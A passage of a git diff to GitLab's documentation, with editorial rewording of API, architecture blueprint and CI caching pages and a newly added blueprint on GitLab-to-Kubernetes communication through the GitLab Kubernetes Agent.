https://gitlab.example.com/api/v4/security/vulnerability_exports +curl --header POST "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/vulnerability_exports" ``` The created vulnerability export is automatically deleted after one hour. @@ -193,7 +193,7 @@ GET /security/vulnerability_exports/:id/download curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/vulnerability_exports/2/download" ``` -The response will be `404 Not Found` if the vulnerability export is not finished yet or was not found. +The response is `404 Not Found` if the vulnerability export is not finished yet or was not found. Example response: diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md index bfb1306e4aa..95e4774ae96 100644 --- a/doc/api/vulnerability_findings.md +++ b/doc/api/vulnerability_findings.md @@ -1,14 +1,14 @@ --- stage: Secure group: Threat Insights -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Vulnerability Findings API **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19029) in GitLab Ultimate 12.5. -NOTE: **Note:** +NOTE: This API resource is renamed from Vulnerabilities to Vulnerability Findings because the Vulnerabilities are reserved for serving [Vulnerability objects](https://gitlab.com/gitlab-org/gitlab/-/issues/13561). To fix any broken integrations with the former Vulnerabilities API, change the `vulnerabilities` URL part to be @@ -18,13 +18,13 @@ Every API call to vulnerability findings must be [authenticated](README.md#authe Vulnerability findings are project-bound entities. If a user is not a member of a project and the project is private, a request on -that project will result in a `404` status code. +that project results in a `404` status code. If a user is able to access the project but does not have permission to [use the Project Security Dashboard](../user/permissions.md#project-members-permissions), -any request for vulnerability findings of this project will result in a `403` status code. +any request for vulnerability findings of this project results in a `403` status code. -CAUTION: **Caution:** +WARNING: This API is in an alpha stage and considered unstable. The response payload may be subject to change or breakage across GitLab releases. @@ -53,7 +53,7 @@ GET /projects/:id/vulnerability_findings?scanner=bandit,find_sec_bugs GET /projects/:id/vulnerability_findings?pipeline_id=42 ``` -CAUTION: **Deprecation:** +WARNING: Beginning with GitLab 12.9, the `undefined` severity and confidence level is no longer reported. | Attribute | Type | Required | Description | @@ -99,6 +99,7 @@ Example response: } ], "project_fingerprint": "fa6f5b6c5d240b834ac5e901dc69f9484cef89ec", + "uuid": "31f483bc-bfc0-586d-9b92-f1015c4535b8", "create_vulnerability_feedback_issue_path": "/tests/yarn-remediation-test/vulnerability_feedback", "create_vulnerability_feedback_merge_request_path": "/tests/yarn-remediation-test/vulnerability_feedback", "create_vulnerability_feedback_dismissal_path": "/tests/yarn-remediation-test/vulnerability_feedback", diff --git a/doc/api/wikis.md b/doc/api/wikis.md index a8c002d4fac..dfbedc9bfd1 100644 --- a/doc/api/wikis.md +++ b/doc/api/wikis.md @@ -1,7 +1,7 @@ --- stage: Create group: Knowledge -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/architecture/blueprints/cloud_native_build_logs/index.md b/doc/architecture/blueprints/cloud_native_build_logs/index.md index f901a724653..3aba10fc758 100644 --- a/doc/architecture/blueprints/cloud_native_build_logs/index.md +++ b/doc/architecture/blueprints/cloud_native_build_logs/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: 'Next iteration of build logs architecture at GitLab' --- @@ -24,7 +24,7 @@ output to a file on a disk. This is simple, but this mechanism depends on shared local storage - the same file needs to be available on every GitLab web node machine, because GitLab Runner might connect to a different one every time it performs an API request. Sidekiq also needs access to the file because when -a job is complete, a trace file contents will be sent to the object store. +a job is complete, the trace file contents are sent to the object store. ## New architecture @@ -109,16 +109,22 @@ of complexity, maintenance cost and enormous, negative impact on availability. 1. ✓ Evaluate performance and edge-cases, iterate to improve the new architecture 1. ✓ Design cloud native build logs correctness verification mechanisms 1. ✓ Build observability mechanisms around performance and correctness -1. Rollout the feature into production environment incrementally +1. ✓ Rollout the feature into production environment incrementally The work needed to make the new architecture production ready and enabled on -GitLab.com is being tracked in [Cloud Native Build Logs on +GitLab.com had been tracked in [Cloud Native Build Logs on GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/4275) epic. Enabling this feature on GitLab.com is a subtask of [making the new architecture generally available](https://gitlab.com/groups/gitlab-org/-/epics/3791) for everyone. +## Status + +This change has been implemented and enabled on GitLab.com. + +We are working on [an epic to make this feature more resilient and observable](https://gitlab.com/groups/gitlab-org/-/epics/4860). + ## Who Proposal: @@ -137,7 +143,7 @@ DRIs: | Role | Who |------------------------------|------------------------| -| Product | Jason Yavorska | +| Product | Thao Yeager | | Leadership | Darby Frey | | Engineering | Grzegorz Bizon | diff --git a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md index 27d2f1362e5..95ffcdd0b39 100644 --- a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md +++ b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: 'Making GitLab Pages a Cloud Native application - architecture blueprint.' --- @@ -72,9 +72,9 @@ of complexity, maintenance cost and enormous, negative impact on availability. ## New GitLab Pages Architecture -- GitLab Pages is going to source domains' configuration from GitLab's internal +- GitLab Pages sources domains' configuration from the GitLab internal API, instead of reading `config.json` files from a local shared storage. -- GitLab Pages is going to serve static content from Object Storage. +- GitLab Pages serves static content from Object Storage. ```mermaid graph TD @@ -90,10 +90,10 @@ too. ## Iterations -1. ✓ Redesign GitLab Pages configuration source to use GitLab's API +1. ✓ Redesign GitLab Pages configuration source to use the GitLab API 1. ✓ Evaluate performance and build reliable caching mechanisms 1. ✓ Incrementally rollout the new source on GitLab.com -1. ✓ Make GitLab Pages API domains config source enabled by default +1. ✓ Make GitLab Pages API domains configuration source enabled by default 1. Enable experimentation with different servings through feature flags 1. Triangulate object store serving design through meaningful experiments 1. Design pages migration mechanisms that can work incrementally diff --git a/doc/architecture/blueprints/feature_flags_development/index.md b/doc/architecture/blueprints/feature_flags_development/index.md index 76fb5f5c7db..c92b4113465 100644 --- a/doc/architecture/blueprints/feature_flags_development/index.md +++ b/doc/architecture/blueprints/feature_flags_development/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: 'Internal usage of Feature Flags for GitLab development' --- @@ -119,7 +119,9 @@ This work is being done as part of dedicated epic: [Improve internal usage of Feature Flags](https://gitlab.com/groups/gitlab-org/-/epics/3551). This epic describes a meta reasons for making these changes. -## Who +## [Who](#who) + +### Blueprint Proposal: @@ -140,4 +142,24 @@ DRIs: | Leadership | Craig Gomes | | Engineering | Kamil Trzciński | +### [Stakeholders](#stakeholders) + +| Role | Person | Title +|--------------------|-----------------------|--------------------------------------------------------------------| +| Executive Sponsor | Christopher Lefelhocz | Senior Director of Development | +| Facilitator | Darby Frey | Senior Engineering Manager, Verify | +| DRI / Leadership | Craig Gomes | Backend Engineering Manager, Memory and Database | +| DRI / Engineering | Kamil Trzciński | Distinguished Engineer, Ops and Enablement | +| DRI / Product | Kenny Johnston | Senior Director of Product Management, Ops | +| Functional Lead | Ricky Wiens | Backend Engineering Manager, Verify:Testing | +| Functional Lead | Anthony Sandoval | Engineering Manager, Reliability | +| Functional Lead | James Heimbuck | Senior Product Manager, Verify:Testing | +| Member | Grzegorz Bizon | Staff Backend Engineer, Verify | +| Member | Michelle Gill | Engineering Manager, Create:Source Code | +| Member | Wayne Haber | Director of Engineering, Threat Management | +| Member | Doug Stull | Senior Fullstack Engineer, Growth:Expansion | +| Member | Andrew Fontaine | Senior Frontend Engineer, Release | +| Member | Rémy Coutable | Staff Backend Engineer, Engineering Productivity | +| Member | Marin Jankovski | Senior Engineering Manager, Infrastructure, Delivery & Scalability | + <!-- vale gitlab.Spelling = YES --> diff --git a/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md b/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md new file mode 100644 index 00000000000..6c27ecca284 --- /dev/null +++ b/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md @@ -0,0 +1,164 @@ +--- +stage: configure +group: configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +comments: false +description: 'GitLab to Kubernetes communication' +--- + +# GitLab to Kubernetes communication + +The goal of this document is to define how GitLab can communicate with Kubernetes +and in-cluster services through the GitLab Kubernetes Agent. + +## Challenges + +### Lack of network connectivity + +For various features that exist today, GitLab communicates with Kubernetes by directly +or indirectly calling its API endpoints. This works well, as long as a network +path from GitLab to the cluster exists, which isn't always the case: + +- GitLab.com and a self-managed cluster, where the cluster is not exposed to the Internet. +- GitLab.com and a cloud-vendor managed cluster, where the cluster is not exposed to the Internet. +- Self-managed GitLab and a cloud-vendor managed cluster, where the cluster is not + exposed to the Internet and there is no private peering between the cloud network + and the customer's network. + + This last item is the hardest to address, as something must give to create a network + path. This feature gives the customer an extra option (exposing the `gitlab-kas` domain but + not the whole GitLab) in addition to the existing options (peering the networks, + or exposing one of the two sides). + +Even if technically possible, it's almost always undesirable to expose a Kubernetes +cluster's API to the Internet for security reasons. As a result, our customers +are reluctant to do so, and are faced with a choice of security versus the features +GitLab provides for connected clusters. + +This choice is true not only for Kubernetes' API, but for all APIs exposed by services +running on a customer's cluster that GitLab may need to access. For example, +Prometheus running in a cluster must be exposed for the GitLab integration to access it. + +### Cluster-admin permissions + +Both current integrations - building your own cluster (certificate-based) and GitLab-managed +cluster in a cloud - require granting full `cluster-admin` access to GitLab. Credentials +are stored on the GitLab side and this is yet another security concern for our customers. + +For more discussion on these issues, read +[issue #212810](https://gitlab.com/gitlab-org/gitlab/-/issues/212810). + +## GitLab Kubernetes Agent epic + +To address these challenges and provide some new features, the Configure group +is building an active in-cluster component that inverts the +direction of communication: + +1. The customer installs an agent into their cluster. +1. The agent connects to GitLab.com or their self-managed GitLab instance, + receiving commands from it. + +The customer does not need to provide any credentials to GitLab, and +is in full control of what permissions the agent has. + +For more information, visit the +[GitLab Kubernetes Agent repository](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) or +[the epic](https://gitlab.com/groups/gitlab-org/-/epics/3329). + +### Request routing + +Agents connect to the server-side component called GitLab Kubernetes Agent Server +(`gitlab-kas`) and keep an open connection that waits for commands. The +difficulty with the approach is in routing requests from GitLab to the correct agent. +Each cluster may contain multiple logical agents, and each may be running as multiple +replicas (`Pod`s), connected to an arbitrary `gitlab-kas` instance. + +Existing and new features require real-time access to the APIs of the cluster +and (optionally) APIs of components, running in the cluster. As a result, it's difficult to pass +the information back and forth using the more traditional polling approach. + +A good example to illustrate the real-time need is Prometheus integration. +If we wanted to draw real-time graphs, we would need direct access to the Prometheus API +to make queries and quickly return results. `gitlab-kas` could expose the Prometheus API +to GitLab, and transparently route traffic to one of the correct agents connected +at the moment. The agent then would stream the request to Prometheus and stream the response back. + +## Proposal + +Implement request routing in `gitlab-kas`. Encapsulate and hide all related +complexity from the main application by providing a clean API to work with Kubernetes +and the agents. + +The above does not necessarily mean proxying Kubernetes' API directly, but that +is possible should we need it. + +What APIs `gitlab-kas` provides depends on the features developed, but first +we must solve the request routing problem. It blocks any and all features +that require direct communication with agents, Kubernetes or in-cluster services. + +Detailed implementation proposal with all technical details is in +[`kas_request_routing.md`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/kas_request_routing.md). + +```mermaid +flowchart LR + subgraph "Kubernetes 1" + agentk1p1["agentk 1, Pod1"] + agentk1p2["agentk 1, Pod2"] + end + + subgraph "Kubernetes 2" + agentk2p1["agentk 2, Pod1"] + end + + subgraph "Kubernetes 3" + agentk3p1["agentk 3, Pod1"] + end + + subgraph kas + kas1["kas 1"] + kas2["kas 2"] + kas3["kas 3"] + end + + GitLab["GitLab Rails"] + Redis + + GitLab -- "gRPC to any kas" --> kas + kas1 -- register connected agents --> Redis + kas2 -- register connected agents --> Redis + kas1 -- lookup agent --> Redis + + agentk1p1 -- "gRPC" --> kas1 + agentk1p2 -- "gRPC" --> kas2 + agentk2p1 -- "gRPC" --> kas1 + agentk3p1 -- "gRPC" --> kas2 +``` + +### Iterations + +Iterations are tracked in [the dedicated epic](https://gitlab.com/groups/gitlab-org/-/epics/4591). + +## Who + +Proposal: + +<!-- vale gitlab.Spelling = NO --> + +| Role | Who +|------------------------------|-------------------------| +| Author | Mikhail Mazurskiy | +| Architecture Evolution Coach | Andrew Newdigate | +| Engineering Leader | Nicholas Klick | +| Domain Expert | Thong Kuah | +| Domain Expert | Graeme Gillies | +| Security Expert | Vitor Meireles De Sousa | + +DRIs: + +| Role | Who +|------------------------------|------------------------| +| Product Lead | Viktor Nagy | +| Engineering Leader | Nicholas Klick | +| Domain Expert | Mikhail Mazurskiy | + +<!-- vale gitlab.Spelling = YES --> diff --git a/doc/architecture/blueprints/image_resizing/index.md b/doc/architecture/blueprints/image_resizing/index.md index 47e2ad24960..9e5c45a715d 100644 --- a/doc/architecture/blueprints/image_resizing/index.md +++ b/doc/architecture/blueprints/image_resizing/index.md @@ -1,18 +1,18 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: 'Image Resizing' --- # Image resizing for avatars and content images -Currently, we are showing all uploaded images 1:1, which is of course not ideal. To improve performance greatly we will add image resizing to the backend. There are two main areas of image resizing to consider; avatars and content images. The MVC for this implementation will focus on Avatars. Avatars requests consist of approximately 70% of total image requests. There is an identified set of sizes we intend to support which makes the scope of this first MVC very narrow. Content image resizing has many more considerations for size and features. It is entirely possible that we have two separate development efforts with the same goal of increasing performance via image resizing. +Currently, we are showing all uploaded images 1:1, which is of course not ideal. To improve performance greatly, add image resizing to the backend. There are two main areas of image resizing to consider; avatars and content images. The MVC for this implementation focuses on Avatars. Avatars requests consist of approximately 70% of total image requests. There is an identified set of sizes we intend to support which makes the scope of this first MVC very narrow. Content image resizing has many more considerations for size and features. It is entirely possible that we have two separate development efforts with the same goal of increasing performance via image resizing. ## MVC Avatar Resizing -We will implement a dynamic image resizing solution. This means image should be resized and optimized on the fly so that if we define new targeted sizes later we can add them dynamically. This would mean a huge improvement in performance as some of the measurements suggest that we can save up to 95% of our current load size. Our initial investigations indicate that we have uploaded approximately 1.65 million avatars totaling approximately 80GB in size and averaging approximately 48kb each. Early measurements indicate we can reduce the most common avatar dimensions to between 1-3kb in size, netting us a greater than 90% size reduction. For the MVC we will not consider application level caching and rely purely on HTTP based caches as implemented in CDNs and browsers, but might revisit this decision later on. To easily mitigate performance issues with avatar resizing, especially in the case of self managed, an operations feature flag will be implemented to disable dynamic image resizing. +When implementing a dynamic image resizing solution, images should be resized and optimized on the fly so that if we define new targeted sizes later we can add them dynamically. This would mean a huge improvement in performance as some of the measurements suggest that we can save up to 95% of our current load size. Our initial investigations indicate that we have uploaded approximately 1.65 million avatars totaling approximately 80GB in size and averaging approximately 48kb each. Early measurements indicate we can reduce the most common avatar dimensions to between 1-3kb in size, netting us a greater than 90% size reduction. For the MVC we don't consider application level caching and rely purely on HTTP based caches as implemented in CDNs and browsers, but might revisit this decision later on. To easily mitigate performance issues with avatar resizing, especially in the case of self managed, an operations feature flag is implemented to disable dynamic image resizing. ```mermaid sequenceDiagram diff --git a/doc/architecture/index.md b/doc/architecture/index.md index 0cac646ea83..5dee2fd8a80 100644 --- a/doc/architecture/index.md +++ b/doc/architecture/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: 'Architecture Practice at GitLab' --- diff --git a/doc/ci/README.md b/doc/ci/README.md index 45cf56df894..20234052808 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application." type: index @@ -16,10 +16,10 @@ through the [continuous methodologies](introduction/index.md#introduction-to-cic - Continuous Delivery (CD) - Continuous Deployment (CD) -TIP: **Tip:** +NOTE: Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) -webcast to learn about continuous methods and how GitLab’s built-in CI can help you simplify and scale software development. +webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development. ## Overview @@ -55,7 +55,7 @@ at the repository's root. This file creates a [pipeline](pipelines/index.md), wh To get started with GitLab CI/CD, we recommend you read through the following documents: -- [How GitLab CI/CD works](introduction/index.md#how-gitlab-cicd-works). +- [Get started with GitLab CI/CD](quick_start/README.md). - [Fundamental pipeline architectures](pipelines/pipeline_architectures.md). - [GitLab CI/CD basic workflow](introduction/index.md#basic-cicd-workflow). - [Step-by-step guide for writing `.gitlab-ci.yml` for the first time](../user/project/pages/getting_started/pages_from_scratch.md). @@ -73,7 +73,7 @@ to your needs:  -While building your `.gitlab-ci.yml`, you can use the [CI/CD configuration visualization](yaml/visualization.md) to facilate your writing experience. +While building your `.gitlab-ci.yml`, you can use the [CI/CD configuration visualization](yaml/visualization.md) to facilitate your writing experience. For a broader overview, see the [CI/CD getting started](quick_start/README.md) guide. @@ -96,6 +96,7 @@ GitLab CI/CD uses a number of concepts to describe and run your build and deploy | [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | | [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | | [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. | +| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. | ## Configuration @@ -121,38 +122,38 @@ Note that certain operations can only be performed according to the Use the vast GitLab CI/CD to easily configure it for specific purposes. Its feature set is listed on the table below according to DevOps stages. -| Feature | Description | -|:--------|:------------| -| **Configure** || -| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | -| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | -|---+---| -| **Verify** || -| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | -| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | -| [CI services](services/README.md) | Link Docker containers with your base image.| -| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | -| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | -| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | -| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | -| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | -|---+---| -| **Release** || -| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | -| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | -| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | -| [Deploy Boards](../user/project/deploy_boards.md) **(PREMIUM)** | Check the current health and status of each CI/CD environment running on Kubernetes. | -| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | -| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | -| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | -| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | -| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | -|---+---| -| **Secure** || -| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities.| -| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | -| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | -| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | +| Feature | Description | +|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------| +| **Configure** | | +| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | +| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Verify** | | +| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | +| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | +| [CI services](services/README.md) | Link Docker containers with your base image. | +| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | +| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | +| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. | +| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | +| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Release** | | +| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | +| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | +| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | +| [Deploy Boards](../user/project/deploy_boards.md) | Check the current health and status of each CI/CD environment running on Kubernetes. | +| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | +| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | +| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | +| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | +| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | +|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| +| **Secure** | | +| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. | +| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | +| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | +| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | ## Examples diff --git a/doc/ci/autodeploy/index.md b/doc/ci/autodeploy/index.md index ca2df72e32e..8c7d9c1da64 100644 --- a/doc/ci/autodeploy/index.md +++ b/doc/ci/autodeploy/index.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy' --- This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/autodeploy/quick_start_guide.md b/doc/ci/autodeploy/quick_start_guide.md index ca2df72e32e..8c7d9c1da64 100644 --- a/doc/ci/autodeploy/quick_start_guide.md +++ b/doc/ci/autodeploy/quick_start_guide.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy' --- This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/build_artifacts/README.md b/doc/ci/build_artifacts/README.md index b63659c1878..4344a544798 100644 --- a/doc/ci/build_artifacts/README.md +++ b/doc/ci/build_artifacts/README.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/pipelines/job_artifacts.md' --- This document was moved to [pipelines/job_artifacts.md](../../user/project/pipelines/job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index dfa92d469bc..e8b22a24017 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- @@ -11,48 +11,49 @@ GitLab CI/CD provides a caching mechanism that can be used to save time when your jobs are running. Caching is about speeding the time a job is executed by reusing the same -content of a previous job. It can be particularly useful when you are +content of a previous job. Use caching when you are developing software that depends on other libraries which are fetched via the internet during build time. If caching is enabled, it's shared between pipelines and jobs at the project -level by default, starting from GitLab 9.0. Caches are not shared across -projects. +level by default. Caches are not shared across projects. Make sure you read the [`cache` reference](../yaml/README.md#cache) to learn how it is defined in `.gitlab-ci.yml`. ## Cache vs artifacts -Be careful if you use cache and artifacts to store the same path in your jobs -as **caches are restored before artifacts** and the content could be overwritten. +If you use cache and artifacts to store the same path in your jobs, the cache might +be overwritten because caches are restored before artifacts. Don't use caching for passing artifacts between stages, as it is designed to store runtime dependencies needed to compile the project: - `cache`: **For storing project dependencies** - Caches are used to speed up runs of a given job in **subsequent pipelines**, by - storing downloaded dependencies so that they don't have to be fetched from the - internet again (like npm packages, Go vendor packages, etc.) While the cache could - be configured to pass intermediate build results between stages, this should be - done with artifacts instead. + Caches can increase the speed of a given job in subsequent pipelines. You can + store downloaded dependencies so that they don't have to be fetched from the + internet again. Dependencies include things like npm packages, Go vendor packages, and so on. + You can configure a cache to pass intermediate build results between stages, + but you should use artifacts instead. -- `artifacts`: **Use for stage results that will be passed between stages.** +- `artifacts`: **Use for stage results that are passed between stages.** - Artifacts are files generated by a job which are stored and uploaded, and can then - be fetched and used by jobs in later stages of the **same pipeline**. In other words, - [you can't create an artifact in job-A in stage-1, and then use this artifact in job-B in stage-1](https://gitlab.com/gitlab-org/gitlab/-/issues/25837). - This data will not be available in different pipelines, but is available to be downloaded + Artifacts are files that are generated by a job so they can be stored and uploaded. You can + fetch and use artifacts in jobs in later stages of the same pipeline. You can't + create an artifact in a job in one stage, and use this artifact in a different job in + the same stage. This data is not available in different pipelines, but can be downloaded from the UI. -The name `artifacts` sounds like it's only useful outside of the job, like for downloading -a final image, but artifacts are also available in later stages within a pipeline. -So if you build your application by downloading all the required modules, you might -want to declare them as artifacts so that subsequent stages can use them. There are -some optimizations like declaring an [expiry time](../yaml/README.md#artifactsexpire_in) -so you don't keep artifacts around too long, or using [dependencies](../yaml/README.md#dependencies) -to control which jobs fetch the artifacts. + If you download modules while building your application, you can declare them as + artifacts and subsequent stage jobs can use them. + + You can define an [expiry time](../yaml/README.md#artifactsexpire_in) so artifacts + are deleted after a defined time. Use [dependencies](../yaml/README.md#dependencies) + to control which jobs fetch the artifacts. + + Artifacts can also be used to make files available for download after a pipeline + completes, like a build image. Caches: @@ -68,7 +69,7 @@ Artifacts: - Are disabled if not defined per job (using `artifacts:`). - Can only be enabled per job, not globally. -- Are created during a pipeline and can be used by the subsequent jobs of that currently active pipeline. +- Are created during a pipeline and can be used by subsequent jobs in the same pipeline. - Are always uploaded to GitLab (known as coordinator). - Can have an expiration value for controlling disk usage (30 days by default). @@ -77,28 +78,18 @@ can't link to files outside it. ## Good caching practices -We have the cache from the perspective of the developers (who consume a cache -within the job) and the cache from the perspective of the runner. Depending on -which type of runner you are using, cache can act differently. - -From 